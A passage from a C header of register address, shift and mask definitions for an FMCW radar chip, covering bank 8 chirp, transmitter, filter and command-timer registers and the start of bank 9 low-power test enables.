#define RADIO_BK8_FMCW_STEP_DN_FREQ_HP_4_0_MASK 0xff
#define RADIO_BK8_FMCW_STEP_DN_FREQ_HP_4_1 0x28
#define RADIO_BK8_FMCW_STEP_DN_FREQ_HP_4_1_SHIFT 0
#define RADIO_BK8_FMCW_STEP_DN_FREQ_HP_4_1_MASK 0xff
#define RADIO_BK8_FMCW_STEP_DN_FREQ_HP_4_2 0x29
#define RADIO_BK8_FMCW_STEP_DN_FREQ_HP_4_2_SHIFT 0
#define RADIO_BK8_FMCW_STEP_DN_FREQ_HP_4_2_MASK 0xff
#define RADIO_BK8_FMCW_STEP_DN_FREQ_HP_4_3 0x2a
#define RADIO_BK8_FMCW_STEP_DN_FREQ_HP_4_3_SHIFT 0
#define RADIO_BK8_FMCW_STEP_DN_FREQ_HP_4_3_MASK 0xf
#define RADIO_BK8_FMCW_IDLE_HP_4_0 0x2b
#define RADIO_BK8_FMCW_IDLE_HP_4_0_SHIFT 0
#define RADIO_BK8_FMCW_IDLE_HP_4_0_MASK 0xff
#define RADIO_BK8_FMCW_IDLE_HP_4_1 0x2c
#define RADIO_BK8_FMCW_IDLE_HP_4_1_SHIFT 0
#define RADIO_BK8_FMCW_IDLE_HP_4_1_MASK 0xff
#define RADIO_BK8_FMCW_IDLE_HP_4_2 0x2d
#define RADIO_BK8_FMCW_IDLE_HP_4_2_SHIFT 0
#define RADIO_BK8_FMCW_IDLE_HP_4_2_MASK 0xff
#define RADIO_BK8_FMCW_IDLE_HP_4_3 0x2e
#define RADIO_BK8_FMCW_IDLE_HP_4_3_SHIFT 0
#define RADIO_BK8_FMCW_IDLE_HP_4_3_MASK 0xff
#define RADIO_BK8_FMCW_AGC_EN_4 0x2f
#define RADIO_BK8_FMCW_AGC_EN_4_AGC_EN_4_SHIFT 0
#define RADIO_BK8_FMCW_AGC_EN_4_AGC_EN_4_MASK 0x1
#define RADIO_BK8_FMCW_AGC_EN_4_AGC_FRM_CNT_PARITY_4_SHIFT 1
#define RADIO_BK8_FMCW_AGC_EN_4_AGC_FRM_CNT_PARITY_4_MASK 0x1
#define RADIO_BK8_FMCW_CS_AVA_DLY_4_0 0x30
#define RADIO_BK8_FMCW_CS_AVA_DLY_4_0_SHIFT 0
#define RADIO_BK8_FMCW_CS_AVA_DLY_4_0_MASK 0xff
#define RADIO_BK8_FMCW_CS_AVA_DLY_4_1 0x31
#define RADIO_BK8_FMCW_CS_AVA_DLY_4_1_SHIFT 0
#define RADIO_BK8_FMCW_CS_AVA_DLY_4_1_MASK 0xff
#define RADIO_BK8_FMCW_CS_AVA_DLY_4_2 0x32
#define RADIO_BK8_FMCW_CS_AVA_DLY_4_2_SHIFT 0
#define RADIO_BK8_FMCW_CS_AVA_DLY_4_2_MASK 0xff
#define RADIO_BK8_FMCW_CS_AVA_DLY_4_3 0x33
#define RADIO_BK8_FMCW_CS_AVA_DLY_4_3_SHIFT 0
#define RADIO_BK8_FMCW_CS_AVA_DLY_4_3_MASK 0xff
#define RADIO_BK8_FMCW_CS_AVA_EN_4 0x34
#define RADIO_BK8_FMCW_CS_AVA_EN_4_CS_AVA_EN_4_SHIFT 0
#define RADIO_BK8_FMCW_CS_AVA_EN_4_CS_AVA_EN_4_MASK 0x1
#define RADIO_BK8_FMCW_CS_AVA_EN_4_CS_AVA_PARITY_4_SHIFT 1
#define RADIO_BK8_FMCW_CS_AVA_EN_4_CS_AVA_PARITY_4_MASK 0x1
#define RADIO_BK8_FMCW_CS_AVA_EN_4_CS_AVA_TX_SEL_4_SHIFT 2
#define RADIO_BK8_FMCW_CS_AVA_EN_4_CS_AVA_TX_SEL_4_MASK 0x3
#define RADIO_BK8_FMCW_CS_DLY_4_0 0x35
#define RADIO_BK8_FMCW_CS_DLY_4_0_SHIFT 0
#define RADIO_BK8_FMCW_CS_DLY_4_0_MASK 0xff
#define RADIO_BK8_FMCW_CS_DLY_4_1 0x36
#define RADIO_BK8_FMCW_CS_DLY_4_1_SHIFT 0
#define RADIO_BK8_FMCW_CS_DLY_4_1_MASK 0xff
#define RADIO_BK8_FMCW_CS_DLY_4_2 0x37
#define RADIO_BK8_FMCW_CS_DLY_4_2_SHIFT 0
#define RADIO_BK8_FMCW_CS_DLY_4_2_MASK 0xff
#define RADIO_BK8_FMCW_CS_DLY_4_3 0x38
#define RADIO_BK8_FMCW_CS_DLY_4_3_SHIFT 0
#define RADIO_BK8_FMCW_CS_DLY_4_3_MASK 0xff
#define RADIO_BK8_FMCW_CS_EN_4 0x39
#define RADIO_BK8_FMCW_CS_EN_4_SHIFT 0
#define RADIO_BK8_FMCW_CS_EN_4_MASK 0x1
#define RADIO_BK8_FMCW_HP_EN_4 0x3a
#define RADIO_BK8_FMCW_HP_EN_4_SHIFT 0
#define RADIO_BK8_FMCW_HP_EN_4_MASK 0x1
#define RADIO_BK8_FMCW_PS_CTRL_4_0 0x3b
#define RADIO_BK8_FMCW_PS_CTRL_4_0_PS_BYPR_TX0_EN_4_SHIFT 0
#define RADIO_BK8_FMCW_PS_CTRL_4_0_PS_BYPR_TX0_EN_4_MASK 0x1
#define RADIO_BK8_FMCW_PS_CTRL_4_0_PS_BYPR_TX1_EN_4_SHIFT 1
#define RADIO_BK8_FMCW_PS_CTRL_4_0_PS_BYPR_TX1_EN_4_MASK 0x1
#define RADIO_BK8_FMCW_PS_CTRL_4_0_PS_BYPR_TX2_EN_4_SHIFT 2
#define RADIO_BK8_FMCW_PS_CTRL_4_0_PS_BYPR_TX2_EN_4_MASK 0x1
#define RADIO_BK8_FMCW_PS_CTRL_4_0_PS_BYPR_TX3_EN_4_SHIFT 3
#define RADIO_BK8_FMCW_PS_CTRL_4_0_PS_BYPR_TX3_EN_4_MASK 0x1
#define RADIO_BK8_FMCW_PS_CTRL_4_1 0x3c
#define RADIO_BK8_FMCW_PS_CTRL_4_1_PS_OPST_TX0_EN_4_SHIFT 0
#define RADIO_BK8_FMCW_PS_CTRL_4_1_PS_OPST_TX0_EN_4_MASK 0x1
#define RADIO_BK8_FMCW_PS_CTRL_4_1_PS_OPST_TX1_EN_4_SHIFT 1
#define RADIO_BK8_FMCW_PS_CTRL_4_1_PS_OPST_TX1_EN_4_MASK 0x1
#define RADIO_BK8_FMCW_PS_CTRL_4_1_PS_OPST_TX2_EN_4_SHIFT 2
#define RADIO_BK8_FMCW_PS_CTRL_4_1_PS_OPST_TX2_EN_4_MASK 0x1
#define RADIO_BK8_FMCW_PS_CTRL_4_1_PS_OPST_TX3_EN_4_SHIFT 3
#define RADIO_BK8_FMCW_PS_CTRL_4_1_PS_OPST_TX3_EN_4_MASK 0x1
#define RADIO_BK8_FMCW_PS_EN_4 0x3d
#define RADIO_BK8_FMCW_PS_EN_4_PS_EN_4_SHIFT 0
#define RADIO_BK8_FMCW_PS_EN_4_PS_EN_4_MASK 0x1
#define RADIO_BK8_FMCW_PS_EN_4_PS_S_4_SHIFT 1
#define RADIO_BK8_FMCW_PS_EN_4_PS_S_4_MASK 0x1
#define RADIO_BK8_FMCW_TX0_CTRL_4_0 0x3e
#define RADIO_BK8_FMCW_TX0_CTRL_4_0_F3C_EN_4_SHIFT 0
#define RADIO_BK8_FMCW_TX0_CTRL_4_0_F3C_EN_4_MASK 0x1
#define RADIO_BK8_FMCW_TX0_CTRL_4_0_F3C_SEL_4_SHIFT 1
#define RADIO_BK8_FMCW_TX0_CTRL_4_0_F3C_SEL_4_MASK 0x3
#define RADIO_BK8_FMCW_TX0_CTRL_4_1 0x3f
#define RADIO_BK8_FMCW_TX0_CTRL_4_1_VAM_4_SHIFT 0
#define RADIO_BK8_FMCW_TX0_CTRL_4_1_VAM_4_MASK 0x3
#define RADIO_BK8_FMCW_TX0_CTRL_4_1_VAM_3_SHIFT 2
#define RADIO_BK8_FMCW_TX0_CTRL_4_1_VAM_3_MASK 0x3
#define RADIO_BK8_FMCW_TX0_CTRL_4_1_VAM_2_SHIFT 4
#define RADIO_BK8_FMCW_TX0_CTRL_4_1_VAM_2_MASK 0x3
#define RADIO_BK8_FMCW_TX0_CTRL_4_1_VAM_1_SHIFT 6
#define RADIO_BK8_FMCW_TX0_CTRL_4_1_VAM_1_MASK 0x3
#define RADIO_BK8_FMCW_TX0_CTRL_4_2 0x40
#define RADIO_BK8_FMCW_TX0_CTRL_4_2_VAM_EN_SHIFT 0
#define RADIO_BK8_FMCW_TX0_CTRL_4_2_VAM_EN_MASK 0x1
#define RADIO_BK8_FMCW_TX0_CTRL_4_2_VAM_P_SHIFT 1
#define RADIO_BK8_FMCW_TX0_CTRL_4_2_VAM_P_MASK 0x3
#define RADIO_BK8_FMCW_TX0_CTRL_4_2_VAM_S_SHIFT 3
#define RADIO_BK8_FMCW_TX0_CTRL_4_2_VAM_S_MASK 0x1
#define RADIO_BK8_FMCW_TX0_CTRL_4_2_OFF_S_SHIFT 4
#define RADIO_BK8_FMCW_TX0_CTRL_4_2_OFF_S_MASK 0x3
#define RADIO_BK8_FMCW_TX0_CTRL_4_2_VAM_RM_SHIFT 6
#define RADIO_BK8_FMCW_TX0_CTRL_4_2_VAM_RM_MASK 0x1
#define RADIO_BK8_FMCW_TX1_CTRL_4_0 0x41
#define RADIO_BK8_FMCW_TX1_CTRL_4_0_F3C_EN_4_SHIFT 0
#define RADIO_BK8_FMCW_TX1_CTRL_4_0_F3C_EN_4_MASK 0x1
#define RADIO_BK8_FMCW_TX1_CTRL_4_0_F3C_SEL_4_SHIFT 1
#define RADIO_BK8_FMCW_TX1_CTRL_4_0_F3C_SEL_4_MASK 0x3
#define RADIO_BK8_FMCW_TX1_CTRL_4_1 0x42
#define RADIO_BK8_FMCW_TX1_CTRL_4_1_VAM_4_SHIFT 0
#define RADIO_BK8_FMCW_TX1_CTRL_4_1_VAM_4_MASK 0x3
#define RADIO_BK8_FMCW_TX1_CTRL_4_1_VAM_3_SHIFT 2
#define RADIO_BK8_FMCW_TX1_CTRL_4_1_VAM_3_MASK 0x3
#define RADIO_BK8_FMCW_TX1_CTRL_4_1_VAM_2_SHIFT 4
#define RADIO_BK8_FMCW_TX1_CTRL_4_1_VAM_2_MASK 0x3
#define RADIO_BK8_FMCW_TX1_CTRL_4_1_VAM_1_SHIFT 6
#define RADIO_BK8_FMCW_TX1_CTRL_4_1_VAM_1_MASK 0x3
#define RADIO_BK8_FMCW_TX1_CTRL_4_2 0x43
#define RADIO_BK8_FMCW_TX1_CTRL_4_2_VAM_EN_SHIFT 0
#define RADIO_BK8_FMCW_TX1_CTRL_4_2_VAM_EN_MASK 0x1
#define RADIO_BK8_FMCW_TX1_CTRL_4_2_VAM_P_SHIFT 1
#define RADIO_BK8_FMCW_TX1_CTRL_4_2_VAM_P_MASK 0x3
#define RADIO_BK8_FMCW_TX1_CTRL_4_2_VAM_S_SHIFT 3
#define RADIO_BK8_FMCW_TX1_CTRL_4_2_VAM_S_MASK 0x1
#define RADIO_BK8_FMCW_TX1_CTRL_4_2_OFF_S_SHIFT 4
#define RADIO_BK8_FMCW_TX1_CTRL_4_2_OFF_S_MASK 0x3
#define RADIO_BK8_FMCW_TX1_CTRL_4_2_VAM_RM_SHIFT 6
#define RADIO_BK8_FMCW_TX1_CTRL_4_2_VAM_RM_MASK 0x1
#define RADIO_BK8_FMCW_TX2_CTRL_4_0 0x44
#define RADIO_BK8_FMCW_TX2_CTRL_4_0_F3C_EN_4_SHIFT 0
#define RADIO_BK8_FMCW_TX2_CTRL_4_0_F3C_EN_4_MASK 0x1
#define RADIO_BK8_FMCW_TX2_CTRL_4_0_F3C_SEL_4_SHIFT 1
#define RADIO_BK8_FMCW_TX2_CTRL_4_0_F3C_SEL_4_MASK 0x3
#define RADIO_BK8_FMCW_TX2_CTRL_4_1 0x45
#define RADIO_BK8_FMCW_TX2_CTRL_4_1_VAM_4_SHIFT 0
#define RADIO_BK8_FMCW_TX2_CTRL_4_1_VAM_4_MASK 0x3
#define RADIO_BK8_FMCW_TX2_CTRL_4_1_VAM_3_SHIFT 2
#define RADIO_BK8_FMCW_TX2_CTRL_4_1_VAM_3_MASK 0x3
#define RADIO_BK8_FMCW_TX2_CTRL_4_1_VAM_2_SHIFT 4
#define RADIO_BK8_FMCW_TX2_CTRL_4_1_VAM_2_MASK 0x3
#define RADIO_BK8_FMCW_TX2_CTRL_4_1_VAM_1_SHIFT 6
#define RADIO_BK8_FMCW_TX2_CTRL_4_1_VAM_1_MASK 0x3
#define RADIO_BK8_FMCW_TX2_CTRL_4_2 0x46
#define RADIO_BK8_FMCW_TX2_CTRL_4_2_VAM_EN_SHIFT 0
#define RADIO_BK8_FMCW_TX2_CTRL_4_2_VAM_EN_MASK 0x1
#define RADIO_BK8_FMCW_TX2_CTRL_4_2_VAM_P_SHIFT 1
#define RADIO_BK8_FMCW_TX2_CTRL_4_2_VAM_P_MASK 0x3
#define RADIO_BK8_FMCW_TX2_CTRL_4_2_VAM_S_SHIFT 3
#define RADIO_BK8_FMCW_TX2_CTRL_4_2_VAM_S_MASK 0x1
#define RADIO_BK8_FMCW_TX2_CTRL_4_2_OFF_S_SHIFT 4
#define RADIO_BK8_FMCW_TX2_CTRL_4_2_OFF_S_MASK 0x3
#define RADIO_BK8_FMCW_TX2_CTRL_4_2_VAM_RM_SHIFT 6
#define RADIO_BK8_FMCW_TX2_CTRL_4_2_VAM_RM_MASK 0x1
#define RADIO_BK8_FMCW_TX3_CTRL_4_0 0x47
#define RADIO_BK8_FMCW_TX3_CTRL_4_0_F3C_EN_4_SHIFT 0
#define RADIO_BK8_FMCW_TX3_CTRL_4_0_F3C_EN_4_MASK 0x1
#define RADIO_BK8_FMCW_TX3_CTRL_4_0_F3C_SEL_4_SHIFT 1
#define RADIO_BK8_FMCW_TX3_CTRL_4_0_F3C_SEL_4_MASK 0x3
#define RADIO_BK8_FMCW_TX3_CTRL_4_1 0x48
#define RADIO_BK8_FMCW_TX3_CTRL_4_1_VAM_4_SHIFT 0
#define RADIO_BK8_FMCW_TX3_CTRL_4_1_VAM_4_MASK 0x3
#define RADIO_BK8_FMCW_TX3_CTRL_4_1_VAM_3_SHIFT 2
#define RADIO_BK8_FMCW_TX3_CTRL_4_1_VAM_3_MASK 0x3
#define RADIO_BK8_FMCW_TX3_CTRL_4_1_VAM_2_SHIFT 4
#define RADIO_BK8_FMCW_TX3_CTRL_4_1_VAM_2_MASK 0x3
#define RADIO_BK8_FMCW_TX3_CTRL_4_1_VAM_1_SHIFT 6
#define RADIO_BK8_FMCW_TX3_CTRL_4_1_VAM_1_MASK 0x3
#define RADIO_BK8_FMCW_TX3_CTRL_4_2 0x49
#define RADIO_BK8_FMCW_TX3_CTRL_4_2_VAM_EN_SHIFT 0
#define RADIO_BK8_FMCW_TX3_CTRL_4_2_VAM_EN_MASK 0x1
#define RADIO_BK8_FMCW_TX3_CTRL_4_2_VAM_P_SHIFT 1
#define RADIO_BK8_FMCW_TX3_CTRL_4_2_VAM_P_MASK 0x3
#define RADIO_BK8_FMCW_TX3_CTRL_4_2_VAM_S_SHIFT 3
#define RADIO_BK8_FMCW_TX3_CTRL_4_2_VAM_S_MASK 0x1
#define RADIO_BK8_FMCW_TX3_CTRL_4_2_OFF_S_SHIFT 4
#define RADIO_BK8_FMCW_TX3_CTRL_4_2_OFF_S_MASK 0x3
#define RADIO_BK8_FMCW_TX3_CTRL_4_2_VAM_RM_SHIFT 6
#define RADIO_BK8_FMCW_TX3_CTRL_4_2_VAM_RM_MASK 0x1
#define RADIO_BK8_CH0_FILTER_DC_CANCEL_4_0 0x4a
#define RADIO_BK8_CH0_FILTER_DC_CANCEL_4_0_SHIFT 0
#define RADIO_BK8_CH0_FILTER_DC_CANCEL_4_0_MASK 0xff
#define RADIO_BK8_CH0_FILTER_DC_CANCEL_4_1 0x4b
#define RADIO_BK8_CH0_FILTER_DC_CANCEL_4_1_SHIFT 0
#define RADIO_BK8_CH0_FILTER_DC_CANCEL_4_1_MASK 0xff
#define RADIO_BK8_CH0_FILTER_DC_CANCEL_4_2 0x4c
#define RADIO_BK8_CH0_FILTER_DC_CANCEL_4_2_SHIFT 0
#define RADIO_BK8_CH0_FILTER_DC_CANCEL_4_2_MASK 0x7f
#define RADIO_BK8_CH1_FILTER_DC_CANCEL_4_0 0x4d
#define RADIO_BK8_CH1_FILTER_DC_CANCEL_4_0_SHIFT 0
#define RADIO_BK8_CH1_FILTER_DC_CANCEL_4_0_MASK 0xff
#define RADIO_BK8_CH1_FILTER_DC_CANCEL_4_1 0x4e
#define RADIO_BK8_CH1_FILTER_DC_CANCEL_4_1_SHIFT 0
#define RADIO_BK8_CH1_FILTER_DC_CANCEL_4_1_MASK 0xff
#define RADIO_BK8_CH1_FILTER_DC_CANCEL_4_2 0x4f
#define RADIO_BK8_CH1_FILTER_DC_CANCEL_4_2_SHIFT 0
#define RADIO_BK8_CH1_FILTER_DC_CANCEL_4_2_MASK 0x7f
#define RADIO_BK8_CH2_FILTER_DC_CANCEL_4_0 0x50
#define RADIO_BK8_CH2_FILTER_DC_CANCEL_4_0_SHIFT 0
#define RADIO_BK8_CH2_FILTER_DC_CANCEL_4_0_MASK 0xff
#define RADIO_BK8_CH2_FILTER_DC_CANCEL_4_1 0x51
#define RADIO_BK8_CH2_FILTER_DC_CANCEL_4_1_SHIFT 0
#define RADIO_BK8_CH2_FILTER_DC_CANCEL_4_1_MASK 0xff
#define RADIO_BK8_CH2_FILTER_DC_CANCEL_4_2 0x52
#define RADIO_BK8_CH2_FILTER_DC_CANCEL_4_2_SHIFT 0
#define RADIO_BK8_CH2_FILTER_DC_CANCEL_4_2_MASK 0x7f
#define RADIO_BK8_CH3_FILTER_DC_CANCEL_4_0 0x53
#define RADIO_BK8_CH3_FILTER_DC_CANCEL_4_0_SHIFT 0
#define RADIO_BK8_CH3_FILTER_DC_CANCEL_4_0_MASK 0xff
#define RADIO_BK8_CH3_FILTER_DC_CANCEL_4_1 0x54
#define RADIO_BK8_CH3_FILTER_DC_CANCEL_4_1_SHIFT 0
#define RADIO_BK8_CH3_FILTER_DC_CANCEL_4_1_MASK 0xff
#define RADIO_BK8_CH3_FILTER_DC_CANCEL_4_2 0x55
#define RADIO_BK8_CH3_FILTER_DC_CANCEL_4_2_SHIFT 0
#define RADIO_BK8_CH3_FILTER_DC_CANCEL_4_2_MASK 0x7f
#define RADIO_BK8_FILTER_DAT_SFT_SEL_4 0x56
#define RADIO_BK8_FILTER_DAT_SFT_SEL_4_SHIFT 0
#define RADIO_BK8_FILTER_DAT_SFT_SEL_4_MASK 0x7
#define RADIO_BK8_FILTER_BDW_SEL_4 0x57
#define RADIO_BK8_FILTER_BDW_SEL_4_SHIFT 0
#define RADIO_BK8_FILTER_BDW_SEL_4_MASK 0x3
#define RADIO_BK8_FILTER_CLK_CTRL_4_0 0x58
#define RADIO_BK8_FILTER_CLK_CTRL_4_0_BW20M_EN_4_SHIFT 0
#define RADIO_BK8_FILTER_CLK_CTRL_4_0_BW20M_EN_4_MASK 0xf
#define RADIO_BK8_FILTER_CLK_CTRL_4_0_CLK_SEL_4_SHIFT 4
#define RADIO_BK8_FILTER_CLK_CTRL_4_0_CLK_SEL_4_MASK 0x1
#define RADIO_BK8_FILTER_CLK_CTRL_4_0_REFPLL_SDMADC_CLKSEL_4_SHIFT 5
#define RADIO_BK8_FILTER_CLK_CTRL_4_0_REFPLL_SDMADC_CLKSEL_4_MASK 0x1
#define RADIO_BK8_FILTER_CLK_CTRL_4_1 0x59
#define RADIO_BK8_FILTER_CLK_CTRL_4_1_SHIFT 0
#define RADIO_BK8_FILTER_CLK_CTRL_4_1_MASK 0x1
#define RADIO_BK8_FMCW_CMD_PRD_4 0x5a
#define RADIO_BK8_FMCW_CMD_PRD_4_SHIFT 0
#define RADIO_BK8_FMCW_CMD_PRD_4_MASK 0xff
#define RADIO_BK8_FMCW_CMD_SKP_4 0x5b
#define RADIO_BK8_FMCW_CMD_SKP_4_SHIFT 0
#define RADIO_BK8_FMCW_CMD_SKP_4_MASK 0xff
#define RADIO_BK8_FMCW_CMD_TIMER_X_4_0 0x5c
#define RADIO_BK8_FMCW_CMD_TIMER_X_4_0_SHIFT 0
#define RADIO_BK8_FMCW_CMD_TIMER_X_4_0_MASK 0xff
#define RADIO_BK8_FMCW_CMD_TIMER_X_4_1 0x5d
#define RADIO_BK8_FMCW_CMD_TIMER_X_4_1_SHIFT 0
#define RADIO_BK8_FMCW_CMD_TIMER_X_4_1_MASK 0xff
#define RADIO_BK8_FMCW_CMD_TIMER_X_4_2 0x5e
#define RADIO_BK8_FMCW_CMD_TIMER_X_4_2_SHIFT 0
#define RADIO_BK8_FMCW_CMD_TIMER_X_4_2_MASK 0xff
#define RADIO_BK8_FMCW_CMD_TIMER_X_4_3 0x5f
#define RADIO_BK8_FMCW_CMD_TIMER_X_4_3_SHIFT 0
#define RADIO_BK8_FMCW_CMD_TIMER_X_4_3_MASK 0xff
#define RADIO_BK8_FMCW_CMD_NUM_4_0 0x60
#define RADIO_BK8_FMCW_CMD_NUM_4_0_SHIFT 0
#define RADIO_BK8_FMCW_CMD_NUM_4_0_MASK 0xff
#define RADIO_BK8_FMCW_CMD_TIMER_Y_4_0 0x61
#define RADIO_BK8_FMCW_CMD_TIMER_Y_4_0_SHIFT 0
#define RADIO_BK8_FMCW_CMD_TIMER_Y_4_0_MASK 0xff
#define RADIO_BK8_FMCW_CMD_TIMER_Y_4_1 0x62
#define RADIO_BK8_FMCW_CMD_TIMER_Y_4_1_SHIFT 0
#define RADIO_BK8_FMCW_CMD_TIMER_Y_4_1_MASK 0xff
#define RADIO_BK8_FMCW_CMD_TIMER_Y_4_2 0x63
#define RADIO_BK8_FMCW_CMD_TIMER_Y_4_2_SHIFT 0
#define RADIO_BK8_FMCW_CMD_TIMER_Y_4_2_MASK 0xff
#define RADIO_BK8_FMCW_CMD_TIMER_Y_4_3 0x64
#define RADIO_BK8_FMCW_CMD_TIMER_Y_4_3_SHIFT 0
#define RADIO_BK8_FMCW_CMD_TIMER_Y_4_3_MASK 0xff
#define RADIO_BK8_FMCW_CMD_NUM_4_1 0x65
#define RADIO_BK8_FMCW_CMD_NUM_4_1_SHIFT 0
#define RADIO_BK8_FMCW_CMD_NUM_4_1_MASK 0xff
#define RADIO_BK8_FMCW_CMD_TIMER_Z_4_0 0x66
#define RADIO_BK8_FMCW_CMD_TIMER_Z_4_0_SHIFT 0
#define RADIO_BK8_FMCW_CMD_TIMER_Z_4_0_MASK 0xff
#define RADIO_BK8_FMCW_CMD_TIMER_Z_4_1 0x67
#define RADIO_BK8_FMCW_CMD_TIMER_Z_4_1_SHIFT 0
#define RADIO_BK8_FMCW_CMD_TIMER_Z_4_1_MASK 0xff
#define RADIO_BK8_FMCW_CMD_TIMER_Z_4_2 0x68
#define RADIO_BK8_FMCW_CMD_TIMER_Z_4_2_SHIFT 0
#define RADIO_BK8_FMCW_CMD_TIMER_Z_4_2_MASK 0xff
#define RADIO_BK8_FMCW_CMD_TIMER_Z_4_3 0x69
#define RADIO_BK8_FMCW_CMD_TIMER_Z_4_3_SHIFT 0
#define RADIO_BK8_FMCW_CMD_TIMER_Z_4_3_MASK 0xff
#define RADIO_BK8_FMCW_CMD_NUM_4_2 0x6a
#define RADIO_BK8_FMCW_CMD_NUM_4_2_SHIFT 0
#define RADIO_BK8_FMCW_CMD_NUM_4_2_MASK 0xff
#define RADIO_BK8_FMCW_AUTO_DLY_4_0 0x6b
#define RADIO_BK8_FMCW_AUTO_DLY_4_0_SHIFT 0
#define RADIO_BK8_FMCW_AUTO_DLY_4_0_MASK 0xff
#define RADIO_BK8_FMCW_AUTO_DLY_4_1 0x6c
#define RADIO_BK8_FMCW_AUTO_DLY_4_1_SHIFT 0
#define RADIO_BK8_FMCW_AUTO_DLY_4_1_MASK 0xff
#define RADIO_BK8_FMCW_AUTO_DLY_4_2 0x6d
#define RADIO_BK8_FMCW_AUTO_DLY_4_2_SHIFT 0
#define RADIO_BK8_FMCW_AUTO_DLY_4_2_MASK 0xff
#define RADIO_BK8_FMCW_AUTO_DLY_4_3 0x6e
#define RADIO_BK8_FMCW_AUTO_DLY_4_3_SHIFT 0
#define RADIO_BK8_FMCW_AUTO_DLY_4_3_MASK 0xff
#define RADIO_BK8_FMCW_AUTO_DLY_EN_4 0x6f
#define RADIO_BK8_FMCW_AUTO_DLY_EN_4_SHIFT 0
#define RADIO_BK8_FMCW_AUTO_DLY_EN_4_MASK 0x1
#define RADIO_BK9_LP_TST_EN0 0x1
#define RADIO_BK9_LP_TST_EN0_TX3_PA_BIAS_EN_LP_TST_SHIFT 0
#define RADIO_BK9_LP_TST_EN0_TX3_PA_BIAS_EN_LP_TST_MASK 0x1
#define RADIO_BK9_LP_TST_EN0_TX3_PADR_BIAS_EN_LP_TST_SHIFT 1
#define RADIO_BK9_LP_TST_EN0_TX3_PADR_BIAS_EN_LP_TST_MASK 0x1
#define RADIO_BK9_LP_TST_EN0_TX2_PA_BIAS_EN_LP_TST_SHIFT 2
#define RADIO_BK9_LP_TST_EN0_TX2_PA_BIAS_EN_LP_TST_MASK 0x1
#define RADIO_BK9_LP_TST_EN0_TX2_PADR_BIAS_EN_LP_TST_SHIFT 3
#define RADIO_BK9_LP_TST_EN0_TX2_PADR_BIAS_EN_LP_TST_MASK 0x1
#define RADIO_BK9_LP_TST_EN0_TX1_PA_BIAS_EN_LP_TST_SHIFT 4
#define RADIO_BK9_LP_TST_EN0_TX1_PA_BIAS_EN_LP_TST_MASK 0x1
#define RADIO_BK9_LP_TST_EN0_TX1_PADR_BIAS_EN_LP_TST_SHIFT 5
#define RADIO_BK9_LP_TST_EN0_TX1_PADR_BIAS_EN_LP_TST_MASK 0x1
#define RADIO_BK9_LP_TST_EN0_TX0_PA_BIAS_EN_LP_TST_SHIFT 6
#define RADIO_BK9_LP_TST_EN0_TX0_PA_BIAS_EN_LP_TST_MASK 0x1
#define RADIO_BK9_LP_TST_EN0_TX0_PADR_BIAS_EN_LP_TST_SHIFT 7
#define RADIO_BK9_LP_TST_EN0_TX0_PADR_BIAS_EN_LP_TST_MASK 0x1
#define RADIO_BK9_LP_TST_EN1 0x2
#define RADIO_BK9_LP_TST_EN1_RXRF_CH3_RXBIST_EN_LP_TST_SHIFT 0
#define RADIO_BK9_LP_TST_EN1_RXRF_CH3_RXBIST_EN_LP_TST_MASK 0x1
#define RADIO_BK9_LP_TST_EN1_RXRF_CH2_RXBIST_EN_LP_TST_SHIFT 1
#define RADIO_BK9_LP_TST_EN1_RXRF_CH2_RXBIST_EN_LP_TST_MASK 0x1
#define RADIO_BK9_LP_TST_EN1_RXRF_CH1_RXBIST_EN_LP_TST_SHIFT 2
#define RADIO_BK9_LP_TST_EN1_RXRF_CH1_RXBIST_EN_LP_TST_MASK 0x1
#define RADIO_BK9_LP_TST_EN1_RXRF_CH0_RXBIST_EN_LP_TST_SHIFT 3
#define RADIO_BK9_LP_TST_EN1_RXRF_CH0_RXBIST_EN_LP_TST_MASK 0x1
#define RADIO_BK9_LP_TST_EN1_BIST_DAC2BB_LP_TST_SHIFT 4
#define RADIO_BK9_LP_TST_EN1_BIST_DAC2BB_LP_TST_MASK 0x1
#define RADIO_BK9_LP_TST_EN1_DAC_EN_LP_TST_SHIFT 5
#define RADIO_BK9_LP_TST_EN1_DAC_EN_LP_TST_MASK 0x1
#define RADIO_BK9_LP_TST_EN1_LDO11_BIST_EN_LP_TST_SHIFT 6
#define RADIO_BK9_LP_TST_EN1_LDO11_BIST_EN_LP_TST_MASK 0x1
#define RADIO_BK9_LP_TST_EN2 0x3
#define RADIO_BK9_LP_TST_EN2_BIST_BUFF_STG5_EN_LP_TST_SHIFT 0
#define RADIO_BK9_LP_TST_EN2_BIST_BUFF_STG5_EN_LP_TST_MASK 0x1
#define RADIO_BK9_LP_TST_EN2_BIST_BUFF_STG4_EN_LP_TST_SHIFT 1
#define RADIO_BK9_LP_TST_EN2_BIST_BUFF_STG4_EN_LP_TST_MASK 0x1
#define RADIO_BK9_LP_TST_EN2_BIST_BUFF_STG3_EN_LP_TST_SHIFT 2
#define RADIO_BK9_LP_TST_EN2_BIST_BUFF_STG3_EN_LP_TST_MASK 0x1
#define RADIO_BK9_LP_TST_EN2_BIST_BUFF_STG2_EN_LP_TST_SHIFT 3
#define RADIO_BK9_LP_TST_EN2_BIST_BUFF_STG2_EN_LP_TST_MASK 0x1
#define RADIO_BK9_LP_TST_EN2_BIST_BUFF_STG1_EN_LP_TST_SHIFT 4
#define RADIO_BK9_LP_TST_EN2_BIST_BUFF_STG1_EN_LP_TST_MASK 0x1
#define RADIO_BK9_LP_TST_EN2_BIREF_BIST_MIXER_EN_LP_TST_SHIFT 5
#define RADIO_BK9_LP_TST_EN2_BIREF_BIST_MIXER_EN_LP_TST_MASK 0x1
#define RADIO_BK9_LP_TST_EN2_BIST_BB_MUXOUT_LP_TST_SHIFT 6
#define RADIO_BK9_LP_TST_EN2_BIST_BB_MUXOUT_LP_TST_MASK 0x1
#define RADIO_BK9_LP_TST_EN2_MUX_DIFF_EN_LP_TST_SHIFT 7
#define RADIO_BK9_LP_TST_EN2_MUX_DIFF_EN_LP_TST_MASK 0x1
#define RADIO_BK9_LP_TST_EN3 0x4
#define RADIO_BK9_LP_TST_EN3_CH3_RXRF_TIA_VINP_TEST_EN_LP_TST_SHIFT 0
#define RADIO_BK9_LP_TST_EN3_CH3_RXRF_TIA_VINP_TEST_EN_LP_TST_MASK 0x1
#define RADIO_BK9_LP_TST_EN3_CH3_RXRF_TIA_VINN_TEST_EN_LP_TST_SHIFT 1
#define RADIO_BK9_LP_TST_EN3_CH3_RXRF_TIA_VINN_TEST_EN_LP_TST_MASK 0x1
